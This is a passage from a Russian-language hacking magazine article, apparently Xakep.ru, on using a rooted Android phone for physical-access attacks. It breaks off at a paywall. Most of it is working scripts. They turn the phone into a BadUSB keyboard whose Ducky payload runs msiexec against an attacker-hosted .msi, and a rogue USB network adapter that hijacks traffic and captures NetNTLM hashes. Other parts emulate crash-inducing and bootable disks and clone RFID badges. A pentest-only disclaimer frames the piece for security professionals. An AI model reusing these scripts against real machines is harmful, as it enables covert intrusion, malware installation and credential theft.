Обыч­ный мобиль­ный телефон на Android может стать гроз­ным ору­жием в руках хакера — как сам по себе, так и с исполь­зовани­ем нес­коль­ких допол­нитель­ных устрой­ств. Но одно­го железа для пол­ного успе­ха недос­таточ­но: что­бы вдох­нуть в хакер­ский смар­тфон жизнь, необ­ходимо оза­ботить­ся соф­том. О нем мы сегод­ня и погово­рим.

info

Эта статья — про­дол­жение матери­ала «Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера». Она завер­шает цикл пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

В статье «Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера» был показан прос­той и уни­вер­саль­ный спо­соб соз­дания GNU-окру­жения — базы для хакер­ско­го инс­тру­мен­тария. Мы рас­смот­рели прин­цип сбор­ки драй­веров пря­мо на устрой­стве, а так­же орга­низо­вали вза­имо­дей­ствие Android с GNU. Затем я про­демонс­три­ровал часть хакер­ских воз­можнос­тей сов­ремен­ного смар­тфо­на. Это были самые опас­ные и рас­простра­нен­ные век­торы нападе­ния с исполь­зовани­ем ради­ока­нала. Давай взгля­нем, на что спо­собен телефон при непос­редс­твен­ном физичес­ком дос­тупе к ата­куемо­му устрой­ству.

 

BadUSB

Сов­ремен­ные Android-устрой­ства име­ют из короб­ки богатую под­дер­жку эму­ляции USB. Нап­ример, при под­клю­чении к компь­юте­ру телефон обыч­но спра­шива­ет, как он может быть опре­делен — как сетевое устрой­ство, съем­ный диск или ина­че. Все это эму­ляция через так называ­емые USB-гад­жеты. Ты можешь самос­тоятель­но изу­чить, какие гад­жеты уже реали­зова­ны в тво­ем текущем ядре, с помощью мобиль­ного при­ложе­ния USB Gadget Tool (net.tjado.usbgadget). Сре­ди них навер­няка есть под­дер­жка гад­жетов для всех воз­можных BadUSB-атак.

 

BadUSB-hid

С телефо­на мож­но без тру­да ими­тиро­вать кла­виату­ру и выпол­нить про­изволь­ные коман­ды с помощью авто­мати­чес­кого вво­да — эта ата­ка была опи­сана в статье «Очень пло­хая флеш­ка. Раз­бира­ем ата­ку BadUSB в деталях». Нам пот­ребу­ется USB-фун­кция hid.keyboard, а сле­дующи­ми незамыс­ловаты­ми коман­дами ата­кующий может вклю­чить в телефо­не спря­тан­ные воз­можнос­ти эму­ляции кла­виату­ры:

badusb/hid/start.sh
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1/
mkdir -p functions/hid.keyboard
cd functions/hid.keyboard/
echo 1 > protocol
echo 1 > subclass
echo 8 > report_length
echo -ne '\\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0' > report_desc
cd -
ln -s functions/hid.keyboard configs/b.1/hid.keyboard
echo "" > UDC
echo `ls -1 /sys/class/udc/ | head -1` > UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; done
EE

В резуль­тате телефон может стать USB-кла­виату­рой. Акти­виру­ет нажатия кла­виату­ры такой скрипт:

badusb/hid/keystrokes.sh
#!/bin/bash
[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')
python2 ./ducky/duckhunter.py -l us "$ducky" /tmp/rubber_ducky.sh
cat /tmp/rubber_ducky.sh
PATH="$PATH:." bash /tmp/rubber_ducky.sh
rm /tmp/rubber_ducky.sh

В слу­чае с телефо­ном ата­ка BadUSB-hid может выг­лядеть даже менее подоз­ритель­но, чем с флеш­кой. Ведь если флеш­ку вста­вит в комп далеко не каж­дый, то зарядить телефон мож­но поч­ти у кого угод­но.

Телефон на зарядке нажимает клавиши, запускающие команду скачивания и запуска бэкдора
Те­лефон на заряд­ке нажима­ет кла­виши, запус­кающие коман­ду ска­чива­ния и запус­ка бэк­дора

Это отличный соци­аль­ный век­тор ата­ки. Забав­но, но воп­реки обще­му мне­нию получа­ется, что телефо­ном взло­мать комп куда про­ще, чем компь­юте­ром взло­мать телефон.

Для незамет­ности зло­умыш­ленник может акти­виро­вать ата­ку не сра­зу в момент под­клю­чения, а спус­тя какое‑то вре­мя:

sleep 60; badusb/hid/start.sh; badusb/hid/keystrokes.sh

У сов­ремен­ного телефо­на мно­жес­тво дат­чиков, и триг­гером к ата­ке может стать что угод­но — осве­щение, виб­рация, дви­жение телефо­на или даже голосо­вая коман­да:

while [ ~/android/listen.sh != "run" ]; do false; done; badusb/hid/keystrokes.sh ducky.txt
android/listen.sh
#!/bin/bash
ssh -i ~/id_rsa-local -p 8022 localhost "termux-speech-to-text"

Син­таксис ducky-скрип­тов пол­ностью иден­тичен опи­сан­ному в статье про BadUSB-флеш­ку и про ее бес­про­вод­ной ана­лог — Mousejack. Самое опас­ное, что может быть наб­рано на кла­виату­ре, — это, нап­ример, такой код:

badusb/hid/ducky.txt
GUI r
DELAY 500
STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 500
STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER

Те­лефон зло­умыш­ленни­ка покор­но заряжа­ется от компь­юте­ра жер­твы, но, как толь­ко он услы­шит коман­ду run, сра­баты­вает ата­ка, и компь­ютер ока­зыва­ется ском­про­мети­рован­ным за секун­ду. Зло­умыш­ленник может даже уда­лен­но ини­цииро­вать ата­ку, под­клю­чив­шись к телефо­ну по VPN, исполь­зуя 4G и запус­тив сце­нарий keystrokes.sh на телефо­не.

Так как ими­тиру­ется кла­виату­ра, то через /dev/hidg0 мож­но выпол­нять обыч­ный инте­рак­тивный набор тек­ста пря­мо на вир­туаль­ной кла­виату­ре телефо­на:

badusb/hid/keyboard.sh
#!/bin/bash
while read -n 1 byte
do
python2 ducky/keyseed.py "$byte" | ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null
echo "$byte" | xxd | grep -q '1b' && break
done

А через /dev/hidg1 мож­но управлять и мыш­кой:

badusb/hid/mouse.py
#!/usr/bin/python3
import curses
from os import system
def main(stdscr):
curses.curs_set(0)
curses.mousemask(1)
while True:
key = stdscr.getch()
if key == curses.KEY_MOUSE:
try:
_, x, y, _, _ = curses.getmouse()
system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y))
stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh()
except:
pass
elif key == ord("l"):
system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "left click "); stdscr.refresh()
elif key == ord("r"):
system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "right click"); stdscr.refresh()
elif key == 0x1b:
break
curses.wrapper(main)

На­жатия по кон­соли в псев­догра­фичес­ком режиме исполь­зуют­ся, что­бы передать дви­жения кур­сора на компь­ютер.

 

BadUSB-ETH

Ата­ку BadUSB-ETH, поз­воля­ющую перех­ватить сетевой тра­фик (смот­ри статью «Злая сетеву­ха. Раз­бира­ем в деталях ата­ку BadUSB-ETH»), тоже мож­но про­вес­ти с телефо­на. Для это­го его нуж­но слег­ка нас­тро­ить:

badusb/eth/start.sh
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cd /sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -s functions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"
cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0
sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection
sleep 1
read iface table <<< $(ip r show table all|grep default|grep -v dummy|cut -d ' ' -f 5,7)
echo "forward to $iface ($table)"
sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97
sudo ip rule add from all iif rndis0 lookup $table
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o $iface -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
sudo tcpdump -i rndis0 -nn

В пер­вом бло­ке скрип­та акти­виру­ется эму­ляция сетевой кар­ты по USB. Она, кста­ти, может уже при­сутс­тво­вать по умол­чанию или быть дос­тупна через обыч­ные нас­трой­ки телефо­на: «Нас­трой­ки → Для раз­работ­чиков → Кон­фигура­ция USB по умол­чанию: USB-модем».

Во вто­ром бло­ке скрип­та запус­кает­ся кас­томный DHCP-сер­вер, который перек­рыва­ет сетевые мар­шру­ты жер­твы и нап­равля­ет весь ее тра­фик в телефон ата­кующе­го.

Так как при под­клю­чении телефо­на ОС Android не в сос­тоянии запус­тить свой DHCP-сер­вер, нас­трой­ка интерфей­са может прер­вать­ся. Поэто­му нуж­но докон­фигури­ровать его самос­тоятель­но, и имен­но это дела­ется в треть­ем бло­ке скрип­та.

Скрипт дол­жен быть запущен перед под­клю­чени­ем телефо­на к заб­локиро­ван­ному компь­юте­ру, что­бы интерфейс rndis0 на телефо­не пра­виль­но скон­фигури­ровал­ся. Если все сде­лано вер­но, то комп, к которо­му под­клю­чен телефон, так­же авто­мати­чес­ки скон­фигури­рует уже свой сетевой интерфейс. Далее ата­куемый компь­ютер отправ­ляет весь свой тра­фик в телефон, в том чис­ле и Wi-Fi, и Ethernet (если они есть). Ведь мар­шру­ты дей­ству­ющих сетевых интерфей­сов ока­зались перек­рыты USB-сетью.

Да­лее запус­кают­ся уже непос­редс­твен­но все ата­ки:

badusb/eth/attack.sh
#!/bin/bash
GREEN=$'\x1b[32m'
RESET=$'\x1b[39m'
#~/gui.sh
for script in $(find on_network/ -type f -perm -u+x)
do
exec sudo $script rndis0 poisontap &
done
while echo -n '.'
do
if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | wc -l) -ne 0 ]
then
break
fi
sleep 1
done
arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on rndis0/\1/p' | while read ip
do
echo $GREEN "client detected" $RESET
for script in $(find on_client/ -type f -perm -u+x)
do
exec sudo $script $ip "" 192.168.42.1 &
done
done

В пер­вом цик­ле запус­кают­ся ата­ки on_network, уни­вер­саль­ные для всех кли­ентов. Во вто­ром ожи­дает­ся появ­ление IP-адре­са кли­ента (целево­го устрой­ства), а в треть­ем — запуск на него всех on_client-атак: чекеры уяз­вимос­тей, брут­форсе­ры, сбор дан­ных и так далее. В этом слу­чае, бла­года­ря дис­плею телефо­на, ата­кующий видит боль­ше информа­ции о ходе про­цес­са.

Телефон создает Ethernet-сеть с заблокированным ноутбуком, перекрывает другие сети и перехватывает хеш пароля
Те­лефон соз­дает Ethernet-сеть с заб­локиро­ван­ным ноут­буком, перек­рыва­ет дру­гие сети и перех­ватыва­ет хеш пароля

Та­ким спо­собом впол­не реаль­но стя­нуть NetNTLM-хеш. Если его сбру­тить (что тоже дос­тижимо), то удас­тся обой­ти бло­киров­ку устрой­ства. Если это домен­ный комп, то такой хеш мож­но нап­равить на LDAP кон­трол­лера домена и, изме­нив опре­делен­ные свой­ства учет­ки, так­же обой­ти аутен­тифика­цию. Воз­можно, ата­кующе­му повезет и удас­тся сра­зу выпол­нить про­изволь­ный код через какую‑нибудь уяз­вимость или подоб­ранный пароль, а затем акти­виро­вать бэк­дор. И все это толь­ко с помощью телефо­на!

 

BadUSB-HDD

По­мимо устрой­ств вво­да (hid) и сетевых карт (eth), Android-телефон (вер­нее, ядро Linux) уме­ет эму­лиро­вать еще и носите­ли дан­ных — жес­ткие дис­ки и CD-при­воды.

BadUSB-HDD — это под­вид BadUSB-атак, который зак­люча­ется в воз­можнос­ти сымити­ровать заг­рузоч­ное устрой­ство при перезаг­рузке и выпол­нить там про­изволь­ный код. Одна­ко воз­можность эму­ляции дис­ка может быть полез­на и для дру­гих целей.

В качес­тве дис­ка исполь­зует­ся обыч­ный файл‑образ. Его содер­жимое — это пос­ледова­тель­ность бай­тов. Все, что записа­но в фай­ле, находит­ся на дис­ке. Сле­дующий скрипт по выбору может ими­тиро­вать такие заранее под­готов­ленные дис­ки:

badusb/hdd/start.sh
#!/bin/bash
[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): ' disk
[[ $# -ge 2 ]] && ro="$1"
case "$disk" in
0) disk='empty.img'; ro=0 ;;
1) disk='vuln_ntfs.img'; ro=1 ;;
2) disk='coldboot.img'; ro=0 ;;
3) disk='kali.img'; ro=0 ;;
esac
disk="$(pwd)/$disk"
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo "$ro" > functions/mass_storage.0/lun.0/ro
echo '1' > functions/mass_storage.0/lun.0/removable
echo "$disk" > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config mass_storage,adb'"

При­меча­тель­но, что мож­но сымити­ровать и readonly-носите­ли так, что­бы ОС или анти­вирус ничего не уда­лили. Оста­нав­лива­ет эму­ляцию дис­ка сле­дующий скрипт:

badusb/hdd/stop.sh
#!/bin/bash
if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi
cat <<EE | sudo bash
cd /sys/kernel/config/usb_gadget/g1
echo '' > functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config none,adb'"

Каж­дый образ дис­ка может исполь­зовать свой сце­нарий ата­ки, нап­ример:

  • empty.img. При под­клю­чении эму­лиру­ется пус­той диск. На него мож­но ско­пиро­вать все, что угод­но. Файл обра­за дис­ка на телефо­не мож­но зашиф­ровать и таким обра­зом спря­тать похищен­ную информа­цию;
  • vuln_ntfs.img. Windows при под­клю­чении спе­циаль­ным обра­зом пов­режден­ной фай­ловой сис­темой может упасть в BSOD. Если перед зло­умыш­ленни­ком некий информа­цион­ный тер­минал, то это прос­той сце­нарий отка­за в обслу­жива­нии. Если же перед ним заб­локиро­ван­ный комп, на котором таким обра­зом был выз­ван BSOD, зна­чит, пос­ле это­го он вый­дет на перезаг­рузку, воз­можно — с сох­ранен­ными в RAM дан­ными. И тут мож­но перей­ти к сле­дующе­му сце­нарию;
  • coldboot.img. Метод, уже опи­сан­ный в статье «Cold boot attack. Дам­пим опе­ратив­ную память с помощью флеш­ки». С телефо­на ата­кующий может сдам­пить опе­ратив­ную память в файл это­го же обра­за;
  • kali.img. Если перед ата­кующим комп, к которо­му у него име­ется пол­ный физичес­кий дос­туп, и ничего, кро­ме телефо­на, под рукой нет — он может эму­лиро­вать заг­рузоч­ный диск Kali Linux (или чего‑то подоб­ного), перезаг­рузить­ся с него и начать раз­витие даль­нейших атак. Так зло­умыш­ленник обой­дет и орга­низа­цион­ный кон­троль, ведь у него толь­ко телефон, и тех­ничес­кий — анти­виру­сы оста­лись на дру­гой ОС.

На рисун­ке ниже показа­но, как под­клю­чен­ный к компь­юте­ру по USB телефон эму­лиру­ет диск с пов­режден­ной фай­ловой сис­темой, при­водя­щей к BSOD.

Эмуляция жесткого диска по USB с поврежденной файловой системой
Эму­ляция жес­тко­го дис­ка по USB с пов­режден­ной фай­ловой сис­темой

Ава­рий­но перезаг­ружен­ный таким обра­зом компь­ютер может уйти на перезаг­рузку с незатер­тыми дан­ными в RAM. Телефон же в этот момент может эму­лиро­вать по USB дру­гой диск — coldboot.img — и выпол­нить ата­ку Cold Boot.

 

Proxmark

Тех­нологии RFID (125 кГц) и NFC (13,56 МГц) при­меня­ются пов­семес­тно для бес­контак­тной иден­тифика­ции и пре­одо­ления тур­никетов на заводах, вход­ных две­рей кабине­тов, подъ­ездов и так далее.

RFID и NFC лег­ко спу­тать. На вид они сла­бо отли­чимы. Есть пара лай­фха­ков, поз­воля­ющих быс­тро понять, какой тип бес­контак­тной тех­нологии перед вами. Сов­ремен­ные телефо­ны снаб­жены NFC и не исполь­зуют RFID, поэто­му если твой телефон сре­аги­ровал на под­несен­ную мет­ку, зна­чит, это NFC. Дру­гой спо­соб — визу­аль­ный, с исполь­зовани­ем фонари­ка.

Определяем тип бесконтактной карты обычным фонариком
Оп­ределя­ем тип бес­контак­тной кар­ты обыч­ным фонари­ком

Ес­ли прос­вечива­ется круг­лая антенна — это обыч­но RFID, пря­моуголь­ная — NFC. Но воз­можны и час­тные слу­чаи. Эти две тех­нологии мож­но встре­тить при­мер­но с рав­ной веро­ятностью. Авто­мати­зиро­ван­ные сис­темы кон­тро­ля и управле­ния дос­тупом в биз­нес‑цен­трах и на пред­при­ятиях чаще работа­ют на RFID, в то вре­мя как в гос­тиницах и оте­лях — поч­ти всег­да на NFC. Так­же кар­ты опла­ты, вклю­чая и бан­ков­ские, работа­ют на осно­ве тех­нологии NFC, но они исполь­зуют нем­ного иной прин­цип, поэто­му рас­смат­ривать их не будем.

Обе тех­нологии при­меня­ют бес­контак­тный метод ком­муника­ции ближ­него поля, ког­да RFID/NFC-чип вклю­чает­ся и работа­ет бла­года­ря элек­тро­маг­нитной энер­гии на малых рас­сто­яниях (поряд­ка нес­коль­ких сан­тимет­ров).

Ата­ки на RFID и NFC чаще все­го свя­заны с бес­контак­тным кло­ниро­вани­ем и пос­леду­ющим пов­торным исполь­зовани­ем. Ата­ку мож­но про­водить в сочета­нии с устрой­ством Proxmark. Для его работы тре­бует­ся соб­рать драй­вер:

CONFIG_USB_ACM=m
make modules M=drivers/usb/class
sudo modprobe cdc-acm

Так­же нуж­но соб­рать соот­ветс­тву­ющий инс­тру­мент с ана­логич­ным име­нем:

git clone https://github.com/Proxmark/proxmark3
cd proxmark3; make
 

RFID

RFID — тех­нология бес­контак­тной иден­тифика­ции, по сути ради­омет­ка, чаще все­го содер­жащая 5 байт. Эта тех­нология никак не защище­на от несан­кци­они­рован­ного чте­ния и может быть без тру­да кло­ниро­вана. RFID мож­но срав­нить с QR-кодом, который лег­ко сфо­тог­рафиро­вать и исполь­зовать пов­торно, с той лишь раз­ницей, что здесь не опти­чес­кий канал счи­тыва­ния, а радио-.

Для кло­ниро­вания мет­ки или, нап­ример, про­пус­ка тре­бует­ся про­читать и эму­лиро­вать дан­ные:

rfid/clone.sh
#!/bin/bash
./read.sh | while read tag
do echo "$tag"
./emulate.sh "$tag"
done

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    6 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии